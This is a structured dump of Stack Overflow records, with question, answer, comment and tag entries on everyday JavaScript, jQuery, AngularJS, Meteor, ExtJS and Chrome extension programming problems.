tagged with: kendo-ui
has comment: http://stackoverflow.com/comment/40077456

http://stackoverflow.com/comment/40106489
type: QuestionComment
has text: It's caused by ordinal axis, see disabled `ordinal` option: http://jsfiddle.net/sg7ykLpe/2/ Btw, it's called ticks, not categories in Highcharts terms ;)
comment on: http://stackoverflow.com/q/25664248
score: 0
type: Comment

http://stackoverflow.com/q/25711787
has comment: http://stackoverflow.com/comment/40192611
has answer: http://stackoverflow.com/a/25721131
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40192228
has comment: http://stackoverflow.com/comment/40192537
upvote count: 1
has comment: http://stackoverflow.com/comment/40192562
downvote count: 1
has answer: http://stackoverflow.com/a/25711923
type: Question
score: 0
answer count: 2
has title: How to detect an ajax call on Facebook
linked to: http://stackoverflow.com/q/10783463
tagged with: javascript
tagged with: jquery
has body: I want to develop a chrome extension that replace some text on facebook but once the user scroll the ajax appear, so the newly ajax loaded text doesn't get change. I tried on() to bind but failed. So I'm thinking every time if there is ajax I fire my event again. But I can't find any method to detect an ajax happened in a page using jquery :( I tried $('body').on(function(){ if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) &amp;&amp; strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { /* special ajax here */ alert('test'); } }); not working
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40192291
has comment: http://stackoverflow.com/comment/40192189
has comment: http://stackoverflow.com/comment/40192602
tagged with: google-chrome-extension
has comment: http://stackoverflow.com/comment/40192360

http://stackoverflow.com/comment/40158478
comment on: http://stackoverflow.com/a/25692654
type: AnswerComment
score: 0
type: Comment
has text: Updated my answer, does it make sense now ?

http://stackoverflow.com/comment/39900805
comment on: http://stackoverflow.com/q/25552540
type: Comment
type: QuestionComment
score: 1
has text: You could also update your question with some logs. `heroku logs`

http://stackoverflow.com/comment/40004196
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25608313
type: Comment
has text: Also relevant, but this was not my problem. Especially since i could sumit the form manually from my domain and it worked fine.

responsive-design
tags question: http://stackoverflow.com/q/25571227
tags question: http://stackoverflow.com/q/25660926
tags question: http://stackoverflow.com/q/25578844
tags question: http://stackoverflow.com/q/25552163
tags question: http://stackoverflow.com/q/25574489
tags question: http://stackoverflow.com/q/25563405
tags question: http://stackoverflow.com/q/25627237
tags question: http://stackoverflow.com/q/25657166
tags question: http://stackoverflow.com/q/25667742
tags question: http://stackoverflow.com/q/25706941
tag name: responsive-design
type: Tag

http://stackoverflow.com/q/25562364
upvote count: 1
answer count: 1
tagged with: javascript
favorite count: 0
score: 0
has answer: http://stackoverflow.com/a/25562365
accepted answer: http://stackoverflow.com/a/25562365
downvote count: 1
type: Question
type: AnsweredQuestion
has body: I have a set of functions that need global variables, and in an effort to not pollute the global namespace, I've been trying to find a way to localize them. However, I also want to trigger them from the outside with an event listener. I would prefer not to use an anonymous function in the event listener on the off chance that one day I want to remove that event listener. (I've not been able to learn if event listeners with anonymous functions auto destroy the same way the functions themselves do, or if they stay in the page until reloaded.) This is what I have (which doesn't work). I want this to work: window.onload = function() { document.addEventListener('mousewheel', scrollthis.scrolldown, false); } var scrollthis() { function scrolldown() { // code that does stuff } return { scrolldown:scrolldown } } Any ideas?
has title: JavaScript - AddEventListener to a function in a local scope?

http://stackoverflow.com/comment/40184354
comment on: http://stackoverflow.com/a/25707114
score: 0
type: AnswerComment
has text: What is latlang? Can you give full HTML?
type: Comment

http://stackoverflow.com/comment/40024599
score: 0
has text: ok @Jeroen let me do that
type: QuestionComment
comment on: http://stackoverflow.com/q/25619554
type: Comment

http://stackoverflow.com/comment/40140616
comment on: http://stackoverflow.com/q/25683701
type: Comment
type: QuestionComment
score: 0
has text: but html and tmpStr are globals and queryResult[0].firstName holds the value for sure and so has html var, so why cant it be used out there as an initiated string?

http://stackoverflow.com/q/25595540
type: Question
has body: Recently, I've been trying to work on a smart package for a project I'm working on, and I'm having a problem. The following code lives inside server/methods.js: Meteor.startup(function() { Meteor.methods({ // ISBN Lookup for AWS isbnAWS: function(isbn) { OperationHelper = apac.OperationHelper; isbn = isbn.replace(/-/g,""); console.log("Looking up ISBN: " + isbn); cachedBook = BookCache.findOne({"isbn": isbn}); // If the book isn't in cache, use apac to get information into cache. if (!cachedBook) { // Instantiate the OH object for APAC. OpHelper = new OperationHelper({ awsId: AWS_KEY_ID, awsSecret: AWS_SECRET_KEY, assocId: AWS_ASSOC_ID }); // Use OH to query AWS, synchronously. result = OpHelper.executeSync({ SearchIndex: 'Books', ResponseGroup: 'Medium,Images', IdType: 'ISBN', ItemId: isbn }); console.log(result); } else { console.log("Using cache for ISBN: " + isbn); } } }); }); This method is being called by an event handler in a project template, as such: "click #isbn-btn": function() { // Store the current ISBN in Session, for reactivity. theISBN = $("#isbn").val().trim().replace(/-/g, ""); Session.set("aws-isbn", theISBN); // Make a call to our Meteor.method, which will contact AWS, and give us // a result. Meteor.call("isbnAWS", theISBN, function(err, res) { if (err) console.log("Error: " + err); else console.log("Success!"); }); } OperationHelper is part of the package I have written, which contains this code, inside the package's lib/meteor-apac.js: if (!Meteor.isClient) { apac = Npm.require("apac-czbaker"); OperationHelper = apac.OperationHelper; function makeSyncMethod(method){ var wrapped=Meteor._wrapAsync(method); var syncMethod=function(){ return wrapped.apply(this,arguments); }; return syncMethod; } OperationHelper.prototype.executeSync = makeSyncMethod(OperationHelper.prototype.execute); } And this is my package.js, where the apac object is clearly exported for use in my project: Package.describe({ summary: "Access to the Amazon Product Advertising A…
has comment: http://stackoverflow.com/comment/39980681
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25597032
accepted answer: http://stackoverflow.com/a/25597032
score: 0
has comment: http://stackoverflow.com/comment/39980561
tagged with: undefined
tagged with: meteor
has title: Undefined not a function -- Meteor Smart Package
has comment: http://stackoverflow.com/comment/39980641
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39980581

http://stackoverflow.com/comment/40187219
score: 0
has text: Don't you have it defined on line 1 of your code? `var viewPortHeight = $(window).height();`
type: Comment
comment on: http://stackoverflow.com/a/25704810
type: AnswerComment

http://stackoverflow.com/comment/39946863
comment on: http://stackoverflow.com/q/25576982
score: 0
type: Comment
type: QuestionComment
has text: Can you show us the call to addToValidateQueue?

http://stackoverflow.com/a/25565775
downvote count: 0
answers question: http://stackoverflow.com/q/25565416
has body: Rather than using indexOf you can go about it with the :contains() selector. It won't be any faster, but the code will look cleaner: $("li:contains(term)").show(); $("li:not(:contains(term))").hide(); and such. Here's a demo on your fiddle
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/q/25642325
tagged with: javascript
has body: I'm unable to call my jQuery hide body in a page content with a custom chrome extension. background.js function getClickHandler() { return function(info, tab) { // The srcUrl property is only available for image elements. //var url = 'info.html#' + info.srcUrl; // Create a new window to the info page. //alert(info.srcUrl); //chrome.windows.create({ url: url, width: 520, height: 660 }); }; }; window.addEventListener("load", initialize); function initialize(){ if(jQuery){ alert('yes'); }else{ alert('no'); } jQuery('body').hide(); } chrome.contextMenus.create({ "title" : "Get image info", "type" : "normal", "contexts" : ["image"], "onclick" : getClickHandler() }); manifest.js { "name" : "Imageinfo", "version" : "1.0.1", "description" : "Get image info for images, including EXIF data", "background" : { "scripts": ["jQuery.js", "background.js"] }, "permissions" : [ "contextMenus", "tabs", "http://*/*", "https://*/*" ], "minimum_chrome_version" : "6.0.0.0", "icons" : { "16" : "imageinfo-16.png", "48" : "imageinfo-48.png", "128" : "imageinfo-128.png" }, "manifest_version": 2 } I just want to hide the body in this exemple. I do get the 'Yes' alert but nothing after that. Maybe I miss something with manifest 2. I try some example but it didn't work. Thank you.
score: -1
upvote count: 0
answer count: 1
tagged with: jquery
favorite count: 0
type: UnansweredQuestion
tagged with: google-chrome-extension
has answer: http://stackoverflow.com/a/25642592
tagged with: google-chrome
downvote count: 1
type: Question
has title: chrome extension background.js

http://stackoverflow.com/q/25660779
answer count: 3
has body: I have this array: categories = ['Cat A', 'Cat B', 'Cat C', 'Cat D'] And this array: selectedCategories = ['Cat A', 'Cat D'] I want to produce a new array from this two: categoriesAvailableToAdd = ['Cat B', 'Cat C'] Is there some neat underscore/lo-dash trick that does this? Can't find any. Must be a common task?
tagged with: lodash
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25660833
tagged with: underscore.js
has answer: http://stackoverflow.com/a/25660833
has title: Combine two arrays and return items that is not in the first
has answer: http://stackoverflow.com/a/25660976
type: Question
has answer: http://stackoverflow.com/a/25660819
accepted answer: http://stackoverflow.com/a/25660819
tagged with: javascript
score: 0

http://stackoverflow.com/comment/39897542
score: 0
comment on: http://stackoverflow.com/q/25551190
type: Comment
type: QuestionComment
has text: http://www.sitepoint.com/line-endings-in-javascript/

http://stackoverflow.com/a/25631534
score: 1
has body: This should work: var items =[];$('input[name="imdb_url"]').each(function () {items.push($(this).val());}); Which admittedly I'd usually write like: var items = []; $('input[name="imdb_url"]').each(function() { items.push($(this).val()); }); but you asked for it on on line :)
downvote count: 0
answers question: http://stackoverflow.com/q/25631514
type: Answer
upvote count: 1

http://stackoverflow.com/a/25627221
answers question: http://stackoverflow.com/q/25627089
score: 0
type: Answer
has body: "def(window) is reached before (function def(...)" . This is not true. def is an argument to IIFE therefore def gets executed with window as it's parameter and you get the proper results. Nothing unusual in JavaScript. It helps if you separate out the functions: var a = 2; function def(global) { var a = 3; console.log(a); // 3 console.log(global.a); // 2 }; function IIFE(def){ def(window); } IIFE(def); http://jsbin.com/jomep/1/edit

http://stackoverflow.com/comment/39976083
type: Comment
score: 2
comment on: http://stackoverflow.com/a/25592088
has text: I know very well what it does, I'm trying to tell you that it's useless (if not wrong) where you use it. And no, you don't need to `return this` from constructors. Oh man, you should throw away your books (I have tried reading a few, but I mostly found them sprinkled with mistakes).
type: AnswerComment

http://stackoverflow.com/comment/40091502
comment on: http://stackoverflow.com/q/25656088
score: 0
has text: If you use " typeof data == 'undefined' " instead of " data == undefined ", no warning message will be shown. You don't need to suppress warning when no warning is displayed.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/26478382
downvote count: 0
answers question: http://stackoverflow.com/q/25712430
upvote count: 2
has body: When adding a .less file in a package with api.add_files, what actually happens when then package is strapped is, it gets converted to a .less.css file. So there are no mixins available for you to use. Additionally, if there was a real .less file to be used, you would need to @import it in the file where you want to use the mixins/variables. There is a hack. You could add the files as an asset to the server. api.add_files([ "lib/less/variables.less", "lib/less/mixins.less" ... add all the mixins .less files here too... ], "server", { isAsset: true }) You will need to add all the less files in the /mixins folder here too, since those are imported with an relative path in mixins.less. You're able to @import the variables/mixins then in your own .less files, with this quirky path: @bootstrap-path: ".meteor/local/build/programs/server/assets/packages/{your_user_name}_{your_package_name}/lib/less"; @import "@{bootstrap-path}/mixins.less"; Replace the {your_user_name}_{your_package_name} with the name under which you publish your package. user:package will get to user_package. But remember, that the Bootstrap less code which is sent to the client already got converted to css, so there is no way to change the variables or mixins to adjust the Bootstrap settings.
type: Answer
score: 2

http://stackoverflow.com/a/25583554
has body: Maybe you can try this Try to set that Bootstrap as a Backbone's View with empty model When click the button, copy the model attributes of current view Set attributes to that Bootstrap view's model
answers question: http://stackoverflow.com/q/25579029
score: 0
type: Answer

http://stackoverflow.com/comment/40209356
score: 0
type: Comment
has text: you can try jquery-turbolinks https://github.com/kossnocorp/jquery.turbolinks which allow you to bind events
type: QuestionComment
comment on: http://stackoverflow.com/q/25584348

http://stackoverflow.com/a/25667677
has body: A better way would be to use a custom filter. You can read all about it in the docs https://docs.angularjs.org/guide/filter or api https://docs.angularjs.org/api/ng/filter/filter You could take some inspiration from the translate-filters too: https://github.com/angular-translate/angular-translate In summary, you would probably write it like so: or with ng-bind like so: &lt;span ng-bind="item | human-readable"&gt; Use the tools and i'm sure you can figure something out
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25667560

http://stackoverflow.com/q/25634933
answer count: 1
has answer: http://stackoverflow.com/a/25635051
accepted answer: http://stackoverflow.com/a/25635051
tagged with: javascript
tagged with: objectify
tagged with: google-app-engine
tagged with: google-cloud-endpoints
type: AnsweredQuestion
has title: gae running smoothly but not capable of retrieving data using html and client.js
has comment: http://stackoverflow.com/comment/40054513
type: Question
has body: I am running into an issue where all google app endpoints are running smoothly. No issue at getting, updating or deleting entries while using the API explorer. I am running into issue when trying to mesh all this together in an html file. Updates and deletes work fine... Only get/list methods are returning no record. Any idea what the issue is? What is best to troubleshoot this kind of issue? Thanks. test.java import com.googlecode.objectify.annotation.*; @Entity @Index public class Test { @Id Long number; Long number2; public Test(){ } public Test(Long number, Long number2){ this.number = number; this.number2 = number2; } public Test(Long number2){ this.number2 = number2; } public Long getNumber2() { return number2; } public void setNumber2(Long number2) { this.number2 = number2; } public Long getNumber() { return number; } public void setNumber(Long number) { this.number = number; } } test.html Get TestEndpoint.java import com.google.api.server.spi.config.Api; import com.google.api.server.spi.config.ApiMethod; import com.google.api.server.spi.config.ApiNamespace; import java.util.logging.Logger; import javax.inject.Named; import com.googlecode.objectify.cmd.Query; import static com.Backend.OfyService.ofy; /** An endpoint class we are exposing */ @Api(name = "testEndpoint", version = "v1", namespace = @ApiNamespace(ownerDomain = "Backend.com", ownerName = "Backend.com", packagePath="")) public class TestEndpoint { // Make sure to add this endpoint to your web.xml file if this is a web application. private static final Logger LOG = Logger.getLogger(TestEndpoint.class.getName()); /** * This method gets the Test object associated with the specified id. * @param id The id of the object to be returned. * @return The Test associated with id. */ @ApiMethod(name = "getTest") public Test getTest(@Named("number2") Long number2) { // Implement this function LOG.info("***GetTest***NUMBER=" + number2); Test t = new Test(1L, 2L); //t = ofy().load().type(Test.class).filter("numbe…
linked to: http://stackoverflow.com/q/25703994
score: 0

http://stackoverflow.com/comment/40148251
has text: possible duplicate of [Alternative to a million IF statements](http://stackoverflow.com/q/10029089/1048572)
comment on: http://stackoverflow.com/q/25687932
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25670778
has title: How to append the label text in the same line using jQuery appendTo?
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25670932
tagged with: http://stackoverflow.com/tag/html
answer count: 4
has answer: http://stackoverflow.com/a/25670896
type: AnsweredQuestion
downvote count: 0
score: 1
possible better answer: http://stackoverflow.com/a/25670896
type: Question
has answer: http://stackoverflow.com/a/25670920
accepted answer: http://stackoverflow.com/a/25670920
has answer: http://stackoverflow.com/a/25670985
has body: I want to append the text for the label when clicking Add Label button, in one line like below, value1, value2, value3 and etc.... But I am not able to achieve what I want, what is going wrong here? here is the jsfiddle. http://jsfiddle.net/KendoDev/7ot577qp/ &lt;div style="display:inline"&gt; &lt;button id="addButton" &gt; Add Label &lt;/button&gt; &lt;/div&gt; &lt;div id="holder"&gt; $(document).ready(function() { var i = 0 ; var labelID = ''; $("#addButton").click(function(){ i = i+1; labelID= 'label'+i+ ','; $('&lt;div /&gt;', { }) .addClass("label") .appendTo("#holder"); $('&lt;label /&gt;', { for: 'holder' }) .attr('id', labelID) .text("Value" + i) .appendTo("#holder") .click(function (e) { var name = $('#'+labelID).text(); alert("event fired: text is: "+ e.currentTarget.textContent + " \n label id is: " + e.currentTarget.id); }); $('&lt;div&gt; , &lt;/div&gt;') .appendTo("#holder"); }); });
tagged with: javascript
upvote count: 1

http://stackoverflow.com/comment/40299157
has text: @can who is the directory owner?
comment on: http://stackoverflow.com/q/25630212
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40139179
score: 0
comment on: http://stackoverflow.com/q/25682733
type: Comment
type: QuestionComment
has text: good point, will create one now

http://stackoverflow.com/q/25641660
answer count: 1
favorite count: 0
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25641825
tagged with: http://stackoverflow.com/tag/html
tagged with: angularjs-ng-repeat
type: AnsweredQuestion
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/25641825
type: Question
has title: ng-Select Option set default value from list if value match using angularJS
tagged with: javascript
has body: I have html. Select Role {{role.authority}} Now roles is a list and role.authority is string. i want to set default selected if role.authority==MYROLE then set to default, which is in role.authority. How can i do
upvote count: 1

http://stackoverflow.com/comment/45637753
score: 0
type: AnswerComment
has text: Hi, sorry for such a late reply. Off late I found that document.addEventListener("backbutton", function(e){ e.preventDefault(); /*My code*/}) works fine. The only thing I had to add is in config.xml.
comment on: http://stackoverflow.com/a/25693661
type: Comment

http://stackoverflow.com/a/25657225
score: 0
has comment: http://stackoverflow.com/comment/40093367
type: Answer
has body: I've tried writing dependency loaders before and it's very complex, especially on the cross-browser side. Last year I had a similar problem to yours where I need to load jQuery (maybe) and a bunch of other libraries in a very specific order. I could get it to work in say Chrome, but not IE, etc. Timing issues seem to creep up every time I made a change! After trying many lines of code not dissimilar to yours, I gave up and eventually found: http://headjs.com/ Since then, I've been using HeadJs pretty much exclusively and my code is a few lines (as opposed to the massive monstrosities I was constructing before.) Not sure if using a library works for you, but if it does, I highly recommend this one. By the way, note there is a "head.ready" event that will replace your usual Dom Ready. This event fires WHEN your libraries are all nicely loaded and ready to go! TIP: You will want to use head.ready to fire off all your javascript actions!
has comment: http://stackoverflow.com/comment/40105182
answers question: http://stackoverflow.com/q/25657069
has comment: http://stackoverflow.com/comment/40105436

http://stackoverflow.com/q/25623849
has title: XMLHttpRequest.upload progress event only works in IE
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/28793785
has body: I'm trying to mget the progression of an upload (that would only be an image btw). I used XMLHttpRequest and pretty much did like everyone else on the internet did,as follows: var upProgress = function(e) { console.log(e.loaded, e); }; var fd = new FormData(); fd.append('image', file); var xhr = new XMLHttpRequest(); xhr.upload.addEventListener('progress', upProgress, false); xhr.open('POST', _Utilities.urlApi + url); xhr.send(fd); The image is uploaded, that part works. However, the progress event (both in Firefox 31 and Chrome 36) is only triggered once (at the beginning) with e.loaded = e.total = file' size. It works in IE 11, the event is triggered a dozen times for the same picture (about 2.7Mo). I'm lost here, I search the web but didn't find anything that I haven't done already. For example e.loaded and e.total should be the same when lengthComputable = false which isn't the case here. The above console log display only 1 line in Chrome and Firefox, here's some of the content of the progress event element: lengthComputable: true loaded: 2797378 total: 2797378 totalSize: 2797378 type: "progress" On IE however I get this (I log both the loaded value and the event's element): 149 [object ProgressEvent] 131072 [object ProgressEvent] 262144 [object ProgressEvent] ... 2752512 [object ProgressEvent] 2797384 [object ProgressEvent] Which mean that it works as expected. I don't know what could cause this. All of the above are tested on my machine. I came across some people who only had trouble with certain machine or setup, a friend tried on its machine and it does the same (windows 8.1 and Chrome), another friend tried for the same result (MACOS and Chrome). If you have any idea, please share it here, thx in advance !
has comment: http://stackoverflow.com/comment/40040110
linked to: http://stackoverflow.com/q/21417842
tagged with: xmlhttprequest-level2
type: Question
score: 2
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: progress-bar
favorite count: 0
tagged with: file-upload
tagged with: progress

http://stackoverflow.com/comment/40184178
score: 0
type: Comment
type: QuestionComment
has text: Can you please give us more details about what you are trying to do? It's hard to tell what the best way to do this is without any context.
comment on: http://stackoverflow.com/q/25707359

http://stackoverflow.com/comment/40094458
score: 0
type: AnswerComment
has text: Please attach your css code in your question, so we can look into it.
comment on: http://stackoverflow.com/a/25657896
type: Comment

http://stackoverflow.com/q/25681733
tagged with: javascript
tagged with: jquery
favorite count: 0
has title: Make cursor hover area larger
type: UnansweredQuestion
upvote count: 1
tagged with: css
has answer: http://stackoverflow.com/a/25681751
score: 1
type: Question
has body: It is possible to make cursor area larger ? I am playing with hover event and i am wondering if it's possible to make the cursor "trigger" area larger. When the invisible div touches my elemet i want to trigger hover event. Is this possible? ps: the invisible div follows the mouse.
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/39952039
score: 0
comment on: http://stackoverflow.com/q/25579856
has text: Please show the relevant html.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25600978
has answer: http://stackoverflow.com/a/25601239
downvote count: 1
has answer: http://stackoverflow.com/a/25601103
has answer: http://stackoverflow.com/a/25601171
has answer: http://stackoverflow.com/a/25601177
favorite count: 0
tagged with: ajax
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39990620
answer count: 4
upvote count: 0
has body: I'm new to coding and now I'm trying to write a code that gets the text data form a file and replace the present text with the new one. I'm using AJAX to do the task but the problem is first I'm getting the error message and then expected answer The error message is what I have included in the code to display when there is error. Even though i'm getting the desired answer I want to know why the error message is displayed. Here is my code This is Text Click me
type: Question
has title: What is wrong with this code using ajax?
tagged with: javascript
score: -1

http://stackoverflow.com/comment/39988262
score: 0
type: Comment
type: QuestionComment
has text: Why do you want to send back the `@survey` object ? If `@survey` has property `Answer` and its value is empty, then the user makes changes the `Answer` input ` ` in the UI into `Some Value`, the submit button will not send the `Some Value`, but empty value, what you need to do is serialize the form, not sending the `@survey`
comment on: http://stackoverflow.com/q/25594217

http://stackoverflow.com/comment/40107279
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25665269
has text: where i have to put update panel ? before repeater or inside the repeater?

http://stackoverflow.com/a/25695294
answers question: http://stackoverflow.com/q/25693148
has body: Oh boy. There's a lot wrong here. And I mean a lot. chrome.extension.sendRequest is deprecated. Use chrome.runtime.sendMessage instead. That said, you're sending the message, but nothing actually listens to it. action: "something" doesn't mean anything a priori, you need to react to that yourself: // background.js chrome.runtime.onMessage.addListener( function(message, sender, sendResponse){ if(message.action == "EditContent") { /* do stuff */ } } ); localStorage is NOT shared between the content script and the background script. In fact, background script has its own copy of localStorage (bound to chrome-extension://whateverisyourid/ domain) and the content script shares it with the page. You should either use chrome.storage, which is shared but works differently, or pass what you need in the message, i.e. a message like: {action: "EditContent", objurl: jsonObject.Url} And use it: chrome.runtime.onMessage.addListener( function(message, sender, sendResponse){ if(message.action == "EditContent") { EditContent(message.objurl) } } ); A function defined in the background script (SendRequest) cannot be called in the content script. You need to move it to the content script, or call it from the background script. Your SendRequest is asynchronous. If you write something like: function f(){ action1(); SendRequest(url1, function(response){ action2(); }); action3(); SendRequest(url2, function(response){ action4(); }); action5(); } f(); then this is what will happen: action1() SendRequest will queue a request with url1, but not wait for it action3() SendRequest will queue a request with url2, but not wait for it action5() Your function f() terminates, next in queue is the first request. When the request finishes, action2() is run. Next in queue is the second request. When the request finishes, action4() is run. This might even get swapped, I suppose, depending on which request finishes first. You see the problem? You need to chain asynchronous calls instead: function f(){ acti…
score: 0
type: Answer

http://stackoverflow.com/a/25578179
downvote count: 0
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25578105
has body: The best way is to use a service or factory. You can check this video from egghead.io Services are singleton objects, this means that they only have one instance. Once you make an instance of a service in a controller you can not make a new one in another, instead you will get the reference of the existing instance and so have access to the data from multiple controllers! Look at the video, he can explain it better than I can ;)

http://stackoverflow.com/comment/39904488
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25552839
has text: I have updated that section of the package.json and I still have the same issue
score: 0

http://stackoverflow.com/comment/40192717
comment on: http://stackoverflow.com/q/25711585
score: 0
has text: if the class is applied to the right object, then there isn't a CSS class named 'bg-danger'. Have you added the bootstrap CSS?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25592063
has comment: http://stackoverflow.com/comment/39976509
has comment: http://stackoverflow.com/comment/39976346
downvote count: 0
score: 4
has comment: http://stackoverflow.com/comment/39976374
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/49909749
type: Answer
answers question: http://stackoverflow.com/q/25591990
upvote count: 4
has body: There is a pull request here that wraps the date picker popup in an ng-if that should fix that. The performance hit comes from the DOM rendering all the calendar elements.
accepted answer of: http://stackoverflow.com/q/25591990

http://stackoverflow.com/comment/39901095
comment on: http://stackoverflow.com/q/25552820
has text: @ChandanJah Yes mate. It will be easier!
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/25707871
linked to: http://stackoverflow.com/q/499126
score: 1
has comment: http://stackoverflow.com/comment/40185506
has comment: http://stackoverflow.com/comment/40185767
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
duplicate of: http://stackoverflow.com/q/499126
has comment: http://stackoverflow.com/comment/40185644
has comment: http://stackoverflow.com/comment/40185324
has comment: http://stackoverflow.com/comment/40185545
has body: I have a textarea that when hovered, I would like the caret to follow the cursor. It would be like if I clicked the textarea every time I moved my mouse. Here is my current js: $("textarea").on("mousemove", function() { $(this).trigger("click"); }); I don't want to move the mouse, but the caret in the textarea. Codepen link Update jQuery Set Cursor Position in Text Area similar but how I can use mouse's co-ordinates to set the carets position using this method. If I receive X:120 Y:244 how can I use this method to set the caret
has answer: http://stackoverflow.com/a/25708864
has comment: http://stackoverflow.com/comment/40185788
has title: Move textbox caret to cursor
has comment: http://stackoverflow.com/comment/40185537
type: UnansweredQuestion
upvote count: 1
type: Question

http://stackoverflow.com/comment/40098615
has text: You might have. I'm able to use ScriptManager.Registerclient(this.Page, this.GetType(), "javascriptFoo", String.Format("javascriptFoo('{0}');", "11111"), true); This calls the javascript asynchronous, and I cannot wait back-end for the response. This is my issue, as I need the response before I know whether to continue back-end code or not.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25660164

http://stackoverflow.com/comment/39911665
type: Comment
comment on: http://stackoverflow.com/q/25558430
score: 0
type: QuestionComment
has text: How can you even know if they have IE installed?

http://stackoverflow.com/a/25663523
answers question: http://stackoverflow.com/q/25662860
has comment: http://stackoverflow.com/comment/40107019
upvote count: 1
has body: First of all, your 'ip' structure is not proper, i have corrected it: ip: { __v: 15, _id: "53fb42bf52b6542527cb7d23", aktuell: { N5: "HansHerschel", Auftragsnr: "2018" }, historie: [ { date: "2014-09-04T09:53:20.533Z", changed: { N5: "HansHerschel" } } ] }; on applying, var count = ip.historie.unshift(docAudit); I get the proper expected result, and get the count as 2. {"__v":15,"_id":"53fb42bf52b6542527cb7d23", "aktuell":{"N5":"HansHerschel","Auftragsnr":"2018"}, "historie":[ {"date":"x","changed":{"N5":"DieterDorian"}}, {"date":"2014-09-04T09:53:20.533Z","changed":{"N5":"HansHerschel"}} ]} Check if you are doing two upshifts.
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/comment/40120176
comment on: http://stackoverflow.com/q/25672431
score: 0
type: Comment
has text: @blex just get me the ID from the url http://stackoverflow.com/questions/18268233/get-youtube-video-id-from-link-with-javascript
type: QuestionComment

http://stackoverflow.com/a/25570246
type: Answer
answers question: http://stackoverflow.com/q/25569129
has body: Does this work for you? list.html Question {{$index + 1}}. {{ qwerty.award }} question.html {{ questionID }} {{ qwerty.award }} {{ nom.name }}
score: 0

http://stackoverflow.com/q/25687368
type: Question
has body: I have a bar graph in Jquery that I want to recreate in angular. The graph is just stylized divs thats width are set to a percentage of the parent as shown below $('.item-skills').each(function(){ newWidth = $(this).parent().width() * $(this).data('percent'); $(this).width(newWidth); }); I want to put this in a directive called bar-graph to use like &lt;div bar-graph="0.85"&gt;&lt;/div&gt; Which would produce a div thats width is 85% of the parents Edit: I found a solution here Angularjs adjust width based on parent element width
tagged with: javascript
answer count: 2
linked to: http://stackoverflow.com/q/20756594
downvote count: 0
has answer: http://stackoverflow.com/a/25687730
linked to: http://stackoverflow.com/q/14703517
favorite count: 0
tagged with: angularjs
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40147173
has answer: http://stackoverflow.com/a/25687596
score: 1
has title: Set a width of a div as a percentage of parent in angular.js
upvote count: 1

wookmark
type: Tag
tags question: http://stackoverflow.com/q/25595999
tag name: wookmark

http://stackoverflow.com/q/25600810
tagged with: javascript
has title: Cell Editing on checkchange event of a checkcolumn
tagged with: extjs
score: 0
tagged with: extjs4
has comment: http://stackoverflow.com/comment/39990556
has body: I have been looking for a solution to this in sencha forum as well as on stack overflow. I was unable to get a proper solution to this issue. I want to edit a particular cell of a row in a grid on checkchange event of a check column in that row. Following is the code- var unitStore = Ext.create('Ext.data.Store', { fields: ['phone'], autoLoad:true , proxy: { type: 'memory', } }); var abc=Ext.create('Ext.data.Store', { storeId:'simpsonsStore', fields:['name', 'email', 'phone'], data:{'items':[ { 'name': 'Lisa', "email":"lisa@simpsons.com", "phone":"555-111-1224" }, { 'name': 'Bart', "email":"bart@simpsons.com", "phone":"555-222-1234" }, { 'name': 'Homer', "email":"home@simpsons.com", "phone":"555-222-1244" }, { 'name': 'Marge', "email":"marge@simpsons.com", "phone":"555-222-1254" } ]}, proxy: { type: 'memory', reader: { type: 'json', root: 'items' } } }); var cellEditing=Ext.create('Ext.grid.plugin.CellEditing', { clicksToEdit: 1, }); Ext.create('Ext.grid.Panel', { title: 'Simpsons', plugins: [cellEditing], store: abc, columns: [ {xtype:'checkcolumn' ,id:'check',dataIndex:'check', text:'Select' ,listeners:{ checkchange:function( checkbox, rowIndex, checked, eOpts ){ if(checked==true){ //var abc=checkbox.up('grid').getStore().getAt(rowIndex).get('name'); var x=[{'phone':'2'},{'phone':'3'}]; unitStore.loadData(x); //cellEditing.startEditByPosition({row: rowIndex, column: 3}); // this.up('grid').getSelectionModel().setCurrentPosition({row: rowIndex, column: 3}); cellEditing.startEdit(rowIndex,3); } } }}, { text: 'Name', dataIndex: 'name' }, { text: 'Email', dataIndex: 'email', flex: 1 }, { text: 'Phone', dataIndex: 'phone',editor:{xtype:'combo',store:unitStore, queryMode:'local',displayField: 'phone', valueField: 'phone',selectOnFocus:true,triggerAction: 'all', } }, ], height: 200, width: 400, renderTo: Ext.getBody() });
has comment: http://stackoverflow.com/comment/39990744
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25602959
accepted answer: http://stackoverflow.com/a/25602959
answer count: 1

http://stackoverflow.com/comment/40042164
